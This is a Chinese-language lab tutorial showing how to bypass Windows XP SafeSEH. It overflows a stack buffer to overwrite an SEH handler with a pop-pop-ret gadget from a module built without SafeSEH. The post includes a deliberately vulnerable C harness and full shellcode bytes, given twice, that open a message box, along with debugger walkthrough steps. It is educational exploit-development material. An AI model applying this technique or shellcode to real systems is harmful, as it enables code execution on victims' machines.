绕过SafeSEHS机制第一招

发布者:极安御信
发布于:2022-08-18 21:13

作者:黑蛋


1.简述


 Windows XP SP2 及后续版本的操作系统中,微软引入了 S.E.H 校验机制SafeSEHSafeSEH 的原理很简单,在程序调用异常处理函数前,对要调用的异常处理函数进行一系列的有效性校验,当发现异常处理函数不可靠时将终止异常处理函数的调用。如果我们采用缓冲区溢出淹没SEH处理函数,让SEH处理函数直接指向我们栈中的shellcode,会被SafeSEH发现,并拒绝执行此处理函数。针对此保护机制,有一招是通过一个未开启SafeSEH模块中的跳板指令地址替换SEH处理函数地址,再间接返回栈中shellcode运行流程。本次实验就是运用此方法,参考《0day安全》中的部分资料。


2.环境配置


环境

配置

操作系统

Windows XP

编译器

VS2008

调试工具

OD

项目配置

realse版本+关闭DEP保护


3.代码展示


#include "stdafx.h"
#include
#include
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x66\x66\x66\x66\x68\x66\x66\x66\x66\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
char shellcode2[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x90\x90\x90\x90\x90\x90\x90\x00";
DWORD MyException(void)
{
    printf("There is an exception");
    getchar();
    return 1;
}
void test(char * input)
{
    char str[200];
    strcpy(str,input);  
    int zero=0;
    __try
    {
##     zero=1/zero;
    }
    __except(MyException())
    {
    }
}
int _tmain(int argc, _TCHAR* argv[])
{
    HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));
    char str[200];
    test(shellcode2);
    return 0;
}

同样有俩段字符串,第一个是精心制作的shellcode,第二段字符串是正常字符串,供我们第一次分析程序栈中情况,同时这里需要一个未开启SafeSEH的模块,进行加载,在里面寻找跳板指令(pop * pop * ret,至于原因将在后续讲解)。我自己生成的exe以及未开启保护的dll


4.程序分析


传入正常字符串shellcode2,生成exe拖入x32dbgF9运行到自己模块领空,进入call下面第一个跳转:


找主函数入口:


进入主函数,第一个call是加载未开启SafeSEH模块的函数,之后压入shellcode2地址,进入第二个call,即test函数:


通过分析汇编代码,发现jne是循环拷贝命令,我们运行到jne之后,观察栈中情况:


箭头指向位置0012FDB8buf起始位置


箭头指向位置0012FE94SEH处理函数,所以我们需要在0012FE94-0012FDB8字节的位置放置我们的跳转指令,结束此次调试,把我们自己的没开启SafeSEHS的模块拖入x32dbg,找一个poppopret的位置,也可以通过代码按照硬编码寻找,我采用直接拖入x32dbg中寻找:


F9运行到自己领空,向上查找很轻易找到一个符合要求的位置11121012,接下来传入shellcode(已经提前构造好)

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x66\x66\x66\x66\x68\x66\x66\x66\x66\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

前面是一堆滑板指令,在SEH处理函数的位置放入我们找到的跳板指令位置,之后是我们的弹窗shellcode,至于为何把弹窗shellcode放到最后面,是因为在运行异常处理函数途中会改变EBP-4的地方的值,为了保护shellcode,把他放在下面,重新生成程序,拖入x32dbg,直接F9F9运行到除零异常的地方:


可以清晰的看到SEH处理函数位置已经是我们跳板指令的地方,我们在这里跳转到跳板指令下断点:


之后F9继续运行,断在跳板指令这边,观察堆栈情况:


发现ESPESP-4是两个垃圾参数,我们需要弹出他们,这也就是为什么要寻找poppopret的原因,而ESP+4指向我们shellcode上方,继续运行到ret之后:


已经进入我们shellcode里面,继续运行,弹窗:

5.结束


以上就是在编译器默认开启SafeSEH的情况下,借助没有开启SafeSEH模块中的跳板指令,成功通过淹没SEH处理函数,让程序流程到我们弹窗shellcode的位置,到达我们的目的,弹个小框框。



声明:该文观点仅代表作者本人,转载请注明来自看雪